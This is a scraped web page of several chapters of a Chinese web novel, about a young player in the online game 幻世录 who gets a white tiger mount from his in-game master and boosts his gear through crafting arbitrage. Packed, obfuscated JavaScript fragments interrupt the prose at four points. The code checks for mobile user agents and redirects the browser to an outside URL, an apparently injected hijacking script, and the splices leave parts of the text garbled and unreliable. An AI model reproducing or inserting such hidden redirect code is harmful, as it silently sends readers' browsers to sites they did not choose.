l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574635|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你岁数比这五个加起来都大,还儿童。”两人又掐了起来。 当前频道弹出消息。 [川云:儿童节快乐。] 没有主语,没有署名。 时和从一片蛙声中分辨出这大概是对自己说的。他打上“谢谢”,又觉得贸贸然认领未免太冒失太自恋了。想了想,也打出一句“儿童节快乐”。 窗外暴雨如注,没有停的意思。雨珠砸在玻璃上,顺着窗框汇成粗重的水线。开了窗缝,噼里啪啦的声音混着烟花声一同穿透耳膜。 他微喘着气,目光落在屏幕上。儿童节他没少过,出过国,去过游乐场,去餐厅吃过儿童餐,也在家看过卡通剧。可在游戏里过节是第一次。 在二十岁,跟新朋友,跟陌生人。感觉很不一样。时和不自觉笑了一声,又马上收了声端起水杯,嘴角克制地贴着玻璃杯上扬。刚想下号,柚子忽然说:“走走走!去上一个BOSS那里帮我补录两个视频!”下号的动作停下来。 视频?什么视频? 正疑惑着,手机传来宴云川的声音:“柚子要参加幻世录的视频创作大赛。她想用副本做主题,可能刚才录的素材不够。想去看看吗?” 视频大赛?是论坛剪辑的视频那样吗? 想到论坛里各式各样的二创视频,时和来了兴趣。可是……他犹疑着问:“单身不上么?” 宴云川笑笑:“有人帮他录,他乐得自在。” 也不知道是宴云川说了什么还是单身心有灵犀,话刚说完,时和就收到了单身的消息:[见儿,尽情蹂躏我的号!千万别对它客气!好好玩,哥去吃个早餐,啥时候玩腻了再下线啊!] 时和:“……”他现在就想下线了。 这绝对是他最后一次上单身的号。 ** 童趣节副本的第二个BOSS在一个迷宫阵里。时和跟宴云川到长廊口的时候,远远看见天上蹦着一个人。走进了看,蹦着的是林朔野。 见两人过来,柚子喊下林朔野:“天上那只别玩了!就补两个片段,补完我还得去剪辑呢。” “来了!”林朔野嗷了一嗓子,从天上坠下地。 所谓两个片段,一个是一镜到底,从迷宫入口到中央场地。每经过一个弯道叩,就对应站一个人放技能。另一个是从场地四角往中央飞,同一时间使用钩锁落地。标好定点,录制开始。 “镜头三秒推到一号位。三——二——川儿,对着口子用灵域。”柚子一听就是资深“导演”,指挥运镜非常熟练,“很好,下一个二号位。三——二——” 二号位是时和。 这两个片段其实没有难度,只需要提前找好角度等倒数就行。就像打本一样。只是以往都是在论坛看别人的视频,头一回自己参与。看电视的突然成了演员,他难免兴奋,落在U键的指尖都在发颤。 镜头离开,微信突然收到消息。 宴云川:[我记得你提过你会剪辑。] 34.Chapter·双亏 是提过,刚收徒那会。有一天宴云川问他方便打本吗,他提了一句:“存个剪辑。”没想到宴云川还记得。时和打了句:[会一点。] 突然问这个是柚子要帮忙吗? 第一个片段已经录制完毕,柚子开始标下一个片段的点位和注意细节。场地东南西北四个角光柱,柚子站在中央说:“川老板去一号位,己见对角三号,被窝二号,川儿对角四号。”等人就位,她跳了跳,“你们先锁定我,还是倒数三个数,数到一你们就对我用钩锁技能。” “先检查一下技能都拖出来没有。” “川儿!你钩哪儿呢!” 迷宫东南方向,林朔野半身卡在一个老虎玩偶耳朵里。照这架势,只能自绝经脉再出来。喇叭传来柚子“出副本仇杀你”的哼哼,林朔野头顶冒出CD读条,嘴上嬉皮笑脸地嚷着“我错了我错了”。 等林朔野倒挂枝头出来的空档,微信弹出新的消息。时和点开,看见宴云川发了一个网页。 网页是幻世录这次视频大赛的参赛规则: 【幻世录第十三届全民视频大赛火热进行中!参与者均可获得独家称号,更有机会赢取精美坐骑、时装等游戏道具。最高奖励包含稀有发色及万元现金,等你来拿!】 宴云川:[送的称号和坐骑都挺好看。] 宴云川:[有兴趣可以试试。] ** 柚子的视频录得很快,NG了三次,第四次完美收工。上午的游戏时间还剩不到二十分钟,时和关了机,给单身发了改密码的提醒,便靠在椅子上心不在焉。他喜欢剪辑,可是不喜欢比赛。 帮柚子录是一回事,自己参赛是另一回事。 以前他喜欢画画,就报名了学校的绘画比赛。可绘画变成比赛的那一刻开始,手上画笔就变得异常沉重。这里要这样,那里不能那样。每一笔都得受到规则、主题、裁判喜好的限制,最后变成趋同化的商业素材。就像变味的酸奶。 角落的摄像头上下晃动,像是认可。 手机的微信通知好像不会停下一样,隔两分钟冒出一条。时和点开,单身发来一句:[不用改密码,下次还想上跟哥说一声,哥立马下线!]只凭文字判断不出开玩笑还是认真的。 他不知道怎么回,就发了一个微笑表情包。 返回列表,柚子发来两个视频,是刚才录制的片段原画面。视频运镜流畅度很高,放进软件里不用调帧率都能直接用。对方显示正在输入。过了一会,柚子又发来一张图,图片排了三行字,用不同字体写着:[特别出演:长安古韵·己见] 柚子问:[大佬,喜欢哪款?] 时和不明所以。 柚子说:[这个放在末尾,特别鸣谢那一栏!] [鸣谢?] [嗯哼!] 柚子吭哧吭哧发来一段语音:“今天的片段你参与了呀!参与了都得放进去,这样才有参与感!” 参与感…… [可是,是单身的号。] “不管不管,谁操作算谁!” 还有这样的规定吗? 时和想返回看看宴云川发的赛事规则,柚子又发来消息:“其实也可以三种字体都放进去,我可以做成滚动条!”他想了想那个场景,太奇怪了。 为了避免柚子再生出其它奇怪的想法,他截图第三个字体过去:[这个。]黑宋简体,不抢眼。 帮派群格外热闹。回了柚子,时和点进去看了眼,是林朔野直播间开奖了。时间还早,他往上翻,找到直播链接转进去,一进去就听见林朔野说:“我的直播间,规则当然是我说了算!” 弹幕飘过一排“666”。 一条弹幕说:“行!我不会再进你直播间!” 林朔野无所谓地哼了声:“我可怕死了!” 这段时间相处下来,时和发现林朔野就是一个乐天派,对谁都能自来熟,都很和善。这还是第一次,林朔野对一个人这么不客气。 可惜直播间不结束没办法拉回放。看着弹幕满屏花花绿绿,时和不知道谁把林朔野惹到了。 正好奇着,一条弹幕引起了他的注意。 “这还是我认识的川老板吗?” 宴云川?跟宴云川有什么关系? 他点着这条弹幕,弹幕后面跟了999+的赞,看不出其他信息。帮派群好些人也是刚睡醒,不知道前因后果,在群里高价买瓜。 时和聚精会神盯着群消息。群消息刷了好几页,一群人跟吃了兴奋剂似的疯狂@宴云川和林朔野,不是什么“川儿今天一米八”就是“川老板帅、666”云云。别说瓜了,瓢都看不见。 吃瓜群众的信息很快被刷上去,时和拿着手机比群里那几只猹还要着急。他打着字:[川云怎么了?]打完犹豫了一会又删掉,又打着:[这是发生什么了?]消息还是没发出去。 直播间那个扬言“再也不来”的人没再说话,也不知道是不是被气下线了。林朔野继续抽奖。弹幕很快被“抽我”、“求锦鲤求好运”覆盖。 眼看这个插曲即将成为悬案,时和点进宴云川聊天框想问当事人。他在输入框里删删减减,不知道怎么开这个话口。倏地,宴云川发来消息。 宴云川:[在看直播?] 时和猛地把手机按了。 他长吁一声,拿起水杯把剩下的半杯水灌进胃里,一下摆弄键盘,一下又把鼠标对着桌子挪的整整齐齐,一下起身一下坐下,格外忙碌。 下一秒,宴云川直接来了语音。 时和:“……” “喂。” “看见你一直在输入。” “……” 果然想做点什么就容易被抓包。 宴云川在那头笑了笑:“想问什么?” “没。” 总不能说自己想吃瓜,太奇怪了。 喇叭又响起了火机金属声。时和调大声音听了会,有点纳闷。宴云川身上也没有烟味,网吧又是禁烟网吧,应该不抽烟才对。 他摆弄着桌上皮诺曹出神,听见宴云川问:“在直播间看了多久?”皮诺曹倒在了键盘线上。 “……” “五分钟。” 宴云川“嗯”了声:“那应该听了个尾巴。” 所以,是要告诉他开头吗? 时和舔了舔牙根。 然后,宴云川换了话题:“等会要看书吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594458|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这种礼盒开到最后一步丝带都抽开了又盖上的感觉属实折磨人。另一个皮诺曹跟着同伴一块倒在了键盘上。宴云川听见声,又轻笑了一下。 “有人在群里公布答案了。” 时和点进帮派群,看见一群人@宴云川,打趣问他还收不收徒弟。往上翻两页,有活雷锋发了前因后果:“我来简单总结一下,有人打本前在弹幕骂见爹,被川老板看见了。这人好巧不巧中了尹川的奖,川老板一句''追一百个盒子,这个名单往下顺延'',就这样了!”他整个人怔住了。 单身@宴云川,用半开玩笑半认真的语气说:“我算是知道你以前为什么不收徒了。” 宴云川回了个:“滚你。” 这声滚实在够不上威胁,阻挡不了单身作死的脚步:“照你这么带,我迟早肝肾双亏!” 许是“肝肾双亏”这个词太过新鲜,群里乐笑了一片。有人翻着单身黑历史说:“照你那么带迟早桃李满天下!打个本遇见自家徒弟还问人家是谁!” 这条信息往下两条是单身的挽尊。 时和没再往下翻。他盯着那段总结和单身的“以前不收徒”,莫名觉得心脏堵得厉害。在此之前,只有两个人在他被骂的时候会站出来“出头”,一个是濯清,一个是时熵。现在多了一个。不,很多个。 直播后台没关,依稀还能听见很小声的背景音。现在再想追溯骂人的是谁,骂了什么,只能等人发录屏。不过那也不重要了。 “谢谢。”时和很小声说着。 “应该的。” 因为是徒弟,所以应该吗? 可既然以前不收徒,为什么又找了自己? 疑惑悬在心头,仿佛一个定时炸弹。时和感觉自己像一个偷偷摘了月亮的小偷,手上的月光仿佛随时都会消失。他握紧了手机。 宴云川突然说:“送了一个儿童节礼物,下午上线可以看看喜不喜欢。” ** 怀着期待看了书,吃了午饭,又用最快的速度在小区散了两圈步。回到家,时和迫不及待开了电脑。一上线,就有喇叭转播早上的事,还有人发了一个论坛链接,不知道是什么。 邮箱有礼物提醒。 时和鼠标放在邮箱上,喉结滚了滚。心想:该不会是那套“白雪公主”的衣服吧……丑是丑了点,可如果是宴云川送的,也能接受。 他即兴奋又忐忑地点开邮箱,发现两封未读邮件,一封来自宴云川,一封来自单身。 点开宴云川的邮件,没看到红蓝黄的配色,时和松了松气。从缩略图看过去,是一个稀有坐骑。不是童趣节的,是一个白虎坐骑。白虎通体雪白带冰蓝色纹路,背生冰晶尖刺,双眼如寒潭,四足踏冰雾,非常漂亮。比视频大赛的奖品更漂亮。 因为自己不想参加比赛,所以才送坐骑吗? 这个想法也太自恋了。 虽然自恋,但他喜欢。 时和喝着水,眼尾拉出一抹愉悦。他点开宴云川时装成就图,本想着回一个等价值的坐骑,结果发现宴云川的坐骑图鉴是满的。 不光坐骑,稀有发色、商城衣服全都是满的。真正做到了不给任何人送礼的机会。 可礼物已经收了。 35.Chapter·故事 白虎坐骑半个身子腾空,带着价值三千的光效重重落下。时和看着覆在白虎周身的电闪雷鸣,突然意识到这礼物收的太过冲动。 他好像被群里一句句“答案”、一声声“川老板”、“徒弟”冲昏了头脑。不该收的。 商城琳琅满目,拍卖行各色装备和道具眼花缭乱。价值三千的道具不是没有,可宴云川不需要。屏幕上,宴云川的资料卡金光灿灿。虽然没带炫酷的称号,没穿华丽的时装,但满身神装和PK大赛冠军专属ID尾缀已经是绝大部分游戏人的渴望不可及。 以前怎么没发现,宴云川的账号就好像一堵密不透风的墙,隔绝了所有的人情往来。 “这下还不清了。”时和懊恼喃喃。他左右挪着宴云川的形象,似乎想在这一身白衣之间找到插针的缝。缝还没找着,倏地,白衣摇身一变,一头白虎载着白衣飞驰而下,带着队伍邀请。 [玩家川云邀请您加入队伍,是否接受?] 弹窗来得毫无防备,像偷窥被发现一样。时和仓惶关掉资料卡,下意识看了眼摄像头,又想起来这个摄像头只有濯清看得见。他一边暗骂自己犯蠢一边点击进队。进了队伍,宴云川又发起跟随邀请。 宴云川的坐标在庄园。 庄园设了访问密码。宴云川说:“0507。” 0507,听上去就是个日期。五月七日,是生日吗?时和思维发散地输入密码。页面水墨跳转,一片火红的枫林映入眼帘。枫林中央有块池塘,宴云川骑着白虎站在池塘边。他靠近,两只白虎并列齐齐嘶嚎。 万千枫叶应声而落。枫叶落在白虎头顶上,又被甩下去,飘进池塘里泛起涟漪。 时和想收了坐骑,瞥见两只白虎头碰着头,按在“F”键上的手指犹豫了两秒, “礼物喜欢吗?”宴云川问。 “喜欢。”他松开手。 很喜欢,可是太贵重了。 “我、”时和张张嘴,又不知道怎么说好。他索性打字:[我要给什么回礼?] 宴云川认真说:“让我想想。” 时和松了气。 还好没说“不用”,不然更难办了。 喇叭放着庄园背景音乐,一首琵琶曲。幻世录很会做情怀,每个地图都有专属的背景音乐,逢上过节,长安主城还会更换对应节日曲。 许是琵琶与枫叶意境让人放松,时和手指跟着节奏打拍,不自觉细细声声哼了起来。 喇叭那头的人好像消失了,迟迟没有说话。 不知道哼了多久,喇叭远远传来林朔野的声音:“哥!老单举报你在偷摸2/6!”哼唱骤然停止。 一道女声问:“2/6是什么?” 听上去是俞秋。 林朔野声音越来越近:“2/6嘛,就是背着大家偷情的意思!”“偷情”两个字好像站在麦克风旁边一样大声,隔着几公里的直线距离直钻时和脑门。卡在嗓子的旋律变成咳嗽止都止不住。 “2/6”是幻世录玩家发明的混梗。一个队伍有几个人,玩家资料卡就会显示这人在几/6。本来只是正常的组队而已,不知怎的,就被那些“偷情DD”、“情缘今晚不在,速速进队”的人玩得不对劲了。 时和知道这个梗还是因为帮派群。帮派群每晚都会有“2/6”的“偷情小分队”。可这还是白天! 不对!不关白天晚上的事! 他跟宴云川又不是偷情! 喇叭响起宴云川的声音:“先喝点水。” 时和刚拿起水杯,喇叭又传来林朔野惊掉下巴的一声:“我去!两只白虎?你们果然在偷情!”水杯里的水跟着更剧烈的咳嗽声半数溅在了桌上。 连着两次“偷情”,俞秋显然当真了。她又兴奋又惶惑地吃瓜:“老板还会偷情?跟谁啊?” 林朔野理所当然地说:“当然是跟宝贝儿啊!”话音刚落,那声“啊”就被“哎哟”代替。 “哥,你肘错人了好吧!” 当前频道弹出消息:[等我一下。] 喇叭发出一声闷响,又传来椅子挪动的声音。 宴云川听不出咸淡地说:“肘少了。” 林朔野辩解:“老单非让我来看看我才来的!” “让你来就来?” “那我也好奇不——” “哎!哎哎!我错了错了!我不好奇了!” 声音越走越远,只剩下俞秋被欺骗后的的呐喊助威。 没了林朔野,时和终于找着机会喝上了水。连缓好几下,勉强止住了咳嗽。他把桌上的残局收拾好,又关掉了庄园的背景音乐,想借此忘记刚才哼歌的窘状。 安静的庄园犹如一副画卷,只有他和宴云川的画卷。 虽然关了庄园音乐,但队伍麦没关,喇叭还能听见窸窸窣窣的声音,好像是俞秋在整理什么。 两人独处,第三方近在咫尺却不知情。更像偷情了。 暴雨在午饭那会就停了,这会窗外艳阳跟抢时间似的晒透了玻璃。时和感觉有点燥,起身调低了空调。即便把空调调到十六度,也只是治标不治本,燥热感丝毫未减。 他坐在椅子上单手扇风,眼神跟着鼠标在界面上到处晃着,就是不看红枫树下的宴云川。鼠标晃到邮件上,他突然想起来单身发的邮件还没点。 点开邮件,右下角红蓝黄的时装缩略图措不及防地炸进眼睛里。时和眯了眯眼,透过眼缝儿看见邮件附赠的送礼标语:[劳务费!儿童节快乐!千万别跟哥客气!] “……” 原来这套丑衣服在这里…… 盯着这套“白雪公主”看了几秒,时和点了拒收礼物:[不用劳务费。节日快乐。] 单身这会正在线,礼物刚拒收,他微信消息就来了:[见儿!你咋的这么实诚呢?劳务费只是个说辞,哥找个由头给你个礼物感谢帮忙而已!] 时和心说:“感谢帮忙给的礼物就是劳务费。” 他回着微信:[谢谢。] 单身:[哦懂了,是不是这个礼物不喜欢?] 单身:[喜欢哪个跟哥说,哥送你!] 单身:[不过川老板的大白虎哥没了,哥还有个凤凰喜不喜欢?品质不比白虎差!] 凤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15610464|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凰也是稀有坐骑,跟白虎一个系列的,都是通过瑶池抽奖获得,限时产品,跟刚才的衣服价格相差了整整一个零。肯定是林朔野这个大喇叭散布的消息! 时和看了看帮派群。果不其然,群里已经就师徒和白虎开始编写苦情大戏了。什么“白虎化形师徒虐恋”、“剜心替身轮回误会”、“爱恨反转皆因前世孽债烙心头”,剧本层出不穷,给他看得一愣一愣的。 至于为什么是虐恋,因为柚子说虐恋二创更有爆点。 剧本下边有人发了一个论坛链接。时和点进去,一个标题叫做#长安古韵区服大佬川云与小徒弟己见的爱恨情仇#的帖子直接跳了出来。这标题一看就不是什么好贴。刚准备关,好奇心又让他往下翻了翻。 忽然理解林朔野宁愿被肘也要出来吃瓜的心情了。 发帖人ID叫“在逃功德-999”,帖子一楼写着:[不要十元,吃瓜免费!]想来也是看直播的人。 帖子二楼是个汇总,从林朔野抽奖那天记录到上午的副本,事无巨细,不光包含了两次妖灵事件,还有日常偶遇的一些故事。二楼往下,是这些故事的截图。截图是专门找了角度截的,给了高P,环境光氛围字体一个不落。 时和发现群里的人编剧本能力还是保守了。这人才是真能编。譬如第一张图,他和宴云川站在人群堆里,也不知道这人蹲了多久,蹲到两人待机动作同时更换。 幽篁静立,御风摇扇,迎面相视而笑。周围的人都用径向模糊做了风格化,直接把宿命感拉了上来。 这幅图的配文是:[人潮如洇墨的旧卷轴模糊晕染,他却似一痕未干的朱砂拓进我眼底。]如果没记错的话,这是他跟宴云川从副本出来,没来得及离开而已。 诸如此类的截图还有不下三十张,时和一直往下滑,愣是看完了两杯水。外边的太阳好像越来越大了。他舔干唇角的水渍,起身想拉窗帘。屁股刚离椅子,喇叭响起宴云川的声音:“还在吗?”吓得他一激灵摔坐了回去。 摔进椅子的动静有点大。 宴云川听见问:“怎么了?” 也不知是摔狠了还是心虚,时和感觉心脏跟犯病似的狂跳不止。他慌忙关了网页,举起水杯想冷静冷静,发现杯里的水早空了,又堪堪放下。 宴云川以为是林朔野惹的后遗症,便解释道:“阿朔打胚胎就在嘴巴上修了个轨道,不用放在心上。” “……” “没、没放心上。”就是电脑该净网了。 喇叭那头隐隐又响起金属声,一下一下。“刚才不是问我回什么礼么。”宴云川突然开口。 时和思绪被回礼拉了过去。 他“嗯”了一声。 宴云川说:“下次见面请我吃猪脚饭吧。” 猪脚饭换白虎,这笔买卖哪怕是濯清来了都算不明白。“不公平。”时和小声说。 宴云川低笑一声:“没事,慢慢请。” 枫林树下,宴云川骑着白虎走到另一侧,白衣随枫叶而起。两人隔着白虎遥遥相望。风过,枫影扑簌。 原来每帧照片真的有一段故事。 36.Chapter·差值 四点过半,网吧来了几个客人,又陆续走了几个。客人临走前还带走了几样“网吧特产”。宴云川忙了有一阵。麦没关,时和听着喇叭里时远时近的声音,有种自己正在网吧工作的身临其境。 他边听着俞秋收银边计算三千等价的猪脚饭。 按照苍城物价,一顿猪脚饭大概是十八、三千除十八约等于一百六十七顿。 跟沈停约好暑假后一周见面两次,那就需要八十四周,约等于二十一个月。不对,两次面是暑期限定,过了暑假他们就不用见面了。暑假大概是两个月,也就是说,需要……十年?!! “找零十块,请拿好。”喇叭传来俞秋的声音。 时和听见“十”,肩膀冷不防一颤。两句话的功夫,他脑海里闪过了各种历史、文学史、野史上无法完成的十年之约,有点消化不能,胃疼。 找零的顾客离开,俞秋叫了声“老板”。宴云川应了一声,下一秒,未读消息弹出新的提醒。 [川云:我得忙会,你先玩。] 他恍惚点开,回了个“嗯”。 正想关掉对话框,余光瞥见列表星引的头像有个红色的“2”,红得耀眼。队伍麦随着一声“就来”关闭,书房安静得像个真空世界,所有的好心情都被尽数抽走,只剩窒息。 半天时间过得太快,以至于他忘记了纪帆。 对于纪帆,有恐惧,想逃避,但更多的是愧疚。因为愧疚,不得不加好友,不得不面对。 胃越来越疼了。时和半蜷着腰,左手死死顶住胃,棉T都被攥得变形。他深呼吸,点开聊天框。 留言是早上十点多发的: [寂沐梵:我看直播了!你操作真溜!] [寂沐梵:就是看了两个多小时没抽到时装郁闷死。灭队太多,时间都被浪费完。吐血.jpg] 时和突然庆幸上午的游戏时间只有两小时,给了他一中午的喘息时间。 他对着最后一句话做阅读理解,逐字分析,最后点开纪帆资料卡,送了一套童趣节时装。 ** “哥!” 此时已经过了五点。雨将下不下,街上行人匆匆。有小孩子拿着乐高经过网吧好奇往里面指,又被随行大人挡着眼睛,佯装生气拍了拍手。 宴云川收回视线,把身份证递给客人。刚往下坐,就听见林朔野人带着声儿从走廊冲过来。 “又是单身叫你来的?”他问道。 林朔野点头,又摇头:“不算是!这次我是真好奇!”他睁着眼睛往收银台一趴,以非人的姿势折成Z字形凑近屏幕。看见锁屏图案,错愕抬头。 “诶?哥,不是你啊?” “我什么?” 宴云川想把林朔野脑袋推出去,又怕给他推折了,只好放任这个“异形”挂在收银台。 “你明早没课?”他揉着眉心。 “哪能啊!满课!” 许是挂着不舒服,林朔野自己跳了下来:“学校不做人,期末了还调课表,把课时不够的课和选修课都凑在一堆,摆明想跑路!” 期末调课表是榕城大学常规操作,越是考试周课表越密集,用行动贯彻“天将降大任于斯人也,必先让其无法复习”。所以考试周大家都特别忙,忙着在上课的空隙里挤出复习的时间。 “既然有课不早点回学校?”宴云川随口问。 “不急,有老沈在!” “沈停在还把你封印了?” “NONONO!”林朔野晃着小拇指走到收银台站定,“老沈打车!有车不蹭是傻蛋!” 说话间,宴云川点开游戏。游戏里,两只白虎还维持着半小时前的姿势没变,唯一的变化就是时和头顶多了一把锻造锤。 这是在打造装备? 他点开时和资料,刹那,鼠标顿了下来。 瞥见宴云川惊讶的表情,林朔野嘟囔了句:“还真没喂大补丸啊!” “什么意思?” 见宴云川眼神不解,林朔野尾巴突然就翘上天了。他嘚瑟地虚敲两下屏幕,“是不是相当恐怖!哥!十四万天赋值!一下午系统公告就没停过!” 幻世录极品词条打造概率不足5.5%,就算有保底机制也要打造百次。所以,每有玩家打造出极品词条系统就会公告,以表对人民币玩家的尊重。 时和的十二件装备,每一件都打造了极品,而且都是幽篁专用属性。 “不光打造,还有技能书!妖灵属性!武器淬炼!都上了绝品!”林朔野睁着比白虎爪子还大的眼睛扭头,“半天涨四万天赋值!这得砸了小两万进去吧?哥!宝贝儿是什么超绝氪金战神?!” 氪金战神? 宴云川点开称号成就,往下滑。 林朔野的声音还在耳边叨叨不休,比自己涨了四万还要兴奋:“啧啧,我们还以为你给宝贝儿喂十全大补丸了呢!城空在那嗷呜叫唤老一阵了!世界频道也炸了!一堆人私聊问我怎么才能做你徒弟,说要开个小号从头开始,当然啦!我都忽悠过去了!宝贝儿的地位怎么可以轻易撼动……” 叨叨到“等会我要告诉单身”,宴云川插了句嘴:“没有两万。” “……单身还在打赌——欸?” 林朔野停下叨叨:“什么没有两万?” 充值没有两万。 宴云川挪着鼠标在充值成就那晃了一下:“嗯,刚破一万充值成就。” 林朔野:“我……擦?” ** 【恭喜玩家己见达成万元充值成就,获得专属动态称号“开元万贯·金印紫绶”,同时获得专属外观“霓裳羽衣·盛世华章”!】 时和随意扫了眼充值赠礼的邮件,领取,关掉。最后一件护腕已经打造完成,比预想的运气更好。一万游戏基金还剩一千二。等明天刷新周常,再补齐剩下的材料就能十五万了。 他抻了抻胳膊,起身开窗透气。 距离游戏时间还剩一小时,纪帆现在还没上线,今天应该是遇不上了。 “偷得浮生”的愉悦与愧疚交织。哗啦一下,时和用力拉开窗帘,让暖风灌进房间里。 心理医生说:“逃避是一种常见的应对压力的防御机制,暂时性地选择‘躲开’是一种本能的自我保护策略,不需要刻意否定这种本能。” 大概是他太懦弱。明知道迟早会碰上,可还是想着能躲一天是一天。就像天上的乌云,明知道积久迟早会成雨,但暴雨未至的现在足以让人喘息。 看了几眼乌云,时和关上窗。坐下时,他看见列表的未读提醒,心脏跳了一下。 纪……帆吗? 虽然知道上帝经常开玩笑,越怕什么越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15623217|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来什么,可这玩笑来得是不是太快了? 书房的空气一瞬闷得发稠,呼吸像扯动一张浸了水的棉纸。时和喉结滚了滚,模拟了几个合适的开场白,才鼓足勇气点开聊天框。 是宴云川。 [川云:很厉害。] [川云:怎么做到的?经济最大化。] 他说不上这一刻什么心情,只知道心跳从没有一刻这么快过。犯病也没有。 点开输入框,时和敲着字: [运气。] 敲完又加一句: [不,不止运气。] 幻世录打造概率固然坑爹,可不是没有BUG能卡。看似独立的打造系统其实跟其他属性提升系统环环相扣,每打造十次就能获得一本技能书,废弃的技能书不用又能分解成淬精。 低级淬精合成高级淬精概率很高,一旦合成成功,出售的价格会比直接出售价格高四倍。即便没有合成成功,也顶多损失一半,剩下可以拿去淬炼碰运气。淬炼成功的概率比打造高得多。 他拉表格计算过,这样循环一轮,至少能赚37.69%的差值。运气好还能达到50%。 只是不知道怎么跟宴云川解释。 不知道解释,时和索性把表格发了过去。 表格详细记录了五种概率下的材料损耗和金钱差额,详细到宴云川看不到十分钟就做了回复:“所以你卡了差值的BUG,运气加成,用八千花出了一万六的效果。我分析对了吗?” [对了。] 果然能看懂。 这种不经解释就能看懂的默契比解释后的肯定更让人心潮澎湃。时和嘴角微弯,尾指不自觉地敲着键盘边敲出莫须有的节拍,发梢跟着一点一点。 宴云川又说了一遍:“很厉害。” 接着他问:“能发群里给他们看吗?”他又笑了笑,“单身他们以为我给你喂大补丸了。” [可以。] ** 当晚,这个表格经历了群里两百来号人逐字翻阅。饶是宴云川代为解释了一番,群里两百号人也有一百来个两脑空空,甚至觉得宴云川在念咒。 [单身真自由啊:我觉得你在框我,但我暂时找不出证据。] [清絮:不明觉厉。] [兮以城空:我们玩的是一个游戏?] … 帮派跟养了一群复读机似的,逮着兮以城空的话术往下刷。 柚子作为为数不多清醒者的一员,欣赏完群里队形后,引用单身那句话发了个:[白痴。] 濯清打来电话时,时和刚刷到“白痴”两个字。 他把下午发生的事转述给了濯清。濯清听明白了个大概,不吝啬地夸着:“聪明啊,知道把资源量化成ROI,利用系统性套利进行虚拟价值链重构。宝贝,看来你很快能接妈妈的班了。” 时和莞尔: “还差很远。” 不知道“远”这个字怎么触动了濯清。濯清突然叹气:“不远了。”语气带着两分怅然。 他连忙问:“怎么了,妈?” 濯清说:“没事。” 他又喊了声:“妈!” 电话那头又响起很轻的喟叹。 濯清柔柔地笑着说:“没什么,只是妈妈本来想对你说儿童节快乐,突然发现你已经长大了。” 37.Chapter·难缠 “长大”这个词自两三岁起就刻在了记忆里。从“等你长大,就能……”到“你已经长大了,不能再……”,从玩具、到时间、到衣着。老师说过,来家里的客人说过,时熵说过,濯清也说过。每个人都在催他长大,催着催着,自己却忘了。 “妈,我已经二十了。”时和拨着耳机提醒。 “是啊,二十了,”濯清喟叹一声,“可妈妈总感觉好像刚给你过完十八岁生日……”她叹着叹着又轻嘲,“难怪人总说一旦忙起来时间就容易错乱,妈妈这两年倒真有这种感觉。嘶,前两天早上我还在问你顾叔多少号了,结果下午就忘了。” “妈,您是休息太少了。”时和眉头微蹙。一天只睡四个小时,长期以往没有谁会不健忘,“爷爷总说‘做事不求急’。妈,您这两年——” “总得急几年。” “为什么?” “宝贝,妈妈得在你长大前给你把路铺好。” 他忽然分不清自己到底多大了。 窗外雨声嘈嘈切切,华灯朦胧。憋了一下午的雨还是在日暮时分落下。濯清浅柔的呼吸声透过喇叭融进夜色里。 帮派群里还在消化宴云川发出去的表格。有人说“头好痒,要长脑子了”,没过五分钟又改口“算了,这脑子不要也罢”,惹得嘘声一片。 用脑不成,此人另辟蹊径,@时和问能不能帮忙调号。有了出头鸟,群里的复读机们紧随其后。 见时和迟迟没回复,那人又@宴云川,问能不能帮忙跟小徒弟商量商量,动之以情。 宴云川过了几分钟才回复:“他在忙。”顿了顿,又跟一句:“情先收着,应该用不上。” 通着电话,这两句语音听得不太真切,细细密密的,还有些哑。时和摘下耳机,揉了揉耳蜗又戴回去,手指落在翻译出来的文字上,说道:“妈,其实今天有人祝我儿童节快乐了。” “嗯?”濯清来了兴趣。 “谁?沈停吗?” “沈停是第四个。”他在群里回了个“可以”,群消息瞬间炸出上百条。“第一个是宴云川。”时和挂着笑说,“还有群里很多人。” 调号其实不难,只用做做功课,知道对应职业的发展属性,再根据属性调动资源就行。可群里的人好像发现海贼王的宝藏一般兴奋,什么“见爹”、“见老板”、“大佬”的称呼层出不穷。 群里一排排发着:[儿童节快乐!] 还有人发红包庆祝。 以往这些人乱叫称谓的时候,时和只觉得臊得慌。许是今晚雨声悦耳,半栖枝头的月光醉人,他头一次从这些奇怪的称呼里感受到了暖意。 “所以,祝福不分年龄。”时和说道,“妈,节日快乐。”儿童节跟母亲节一样快乐。 